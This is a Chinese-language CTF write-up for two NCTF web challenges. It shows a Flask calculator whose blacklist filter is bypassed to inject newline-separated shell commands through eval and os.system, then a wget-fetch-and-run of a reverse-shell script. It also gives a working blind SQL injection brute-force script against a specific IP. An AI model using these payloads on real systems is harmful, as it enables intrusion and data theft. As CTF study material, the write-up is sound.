NCTF-WEB
calc
打开查看是计算器,查看发现是flask框架构造错误参数发现debug页面从而发现了关键代码
def calc():
ip = request.remote_addr
num = request.values.get("num")
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
if waf(num):
try:
data = eval(num)
os.system(log)
except:
pass
------------------------------------------------------
def waf(s):Open an interactive python shell in this frame
blacklist = ['import','(',')','#','@','^','$',',','>','?','`',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']
flag = True
for no in blacklist:
if no.lower() in s.lower():
flag= False
print(no)
break
return flag
关键点就在于os.system(log)
所以根据流程就可以知道只要绕过waf检查并且eval不会报错就行。
所以可以构造一个命令执行。
因为waf过滤了;可以通过换行执行新的命令空格过滤了可以用tab替换%09 这样就可以构造了,只剩下了eval了只要eval不报错就可以执行到systen函数。
这里可以通过多行文本的办法没有过滤单引号可以通过''' '''进行构造,但是在linux下也是多行文本不过linux可以通过一个单引号结束掉多文本所以可以是'''%0a'%0axxxxxxxxxxxxx%0a'''
xxxx就是我们要执行的命令。最开始我是直接cp /* static/ 呃呃因为以前做过几个都是这样的flag文件名就是flag直接在static下面访问就行了,这次居然没反应呃呃。然后就利用其他办法通过wget下载一个脚本,wget xxxx.xx/shell.sh 然后chmod +x shell.sh ./shell.sh就可以直接反弹shell了
最后找flag时候发现flag在static下面一个叫v2的文件里呃呃呃呃b( ̄▽ ̄)d
ezbypass
提示是sql注入,提示查看password测试发现只有id=1一个用过联合查询发现了有waf然后就测试其他办法
通过盲注一位一位的爆破,
import requests
flag = ""
s = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!$&()*+-/^`{|}~"
for i in range(150):
for j in s:
url = f"http://121.37.11.207:8099/sql.php?id=1 and password like 0x{flag + hex(ord(j))[2:]}25"
if "letian" in requests.get(url).text:
flag +=hex(ord(j))[2:]
print(flag)
break
然后就得到flag了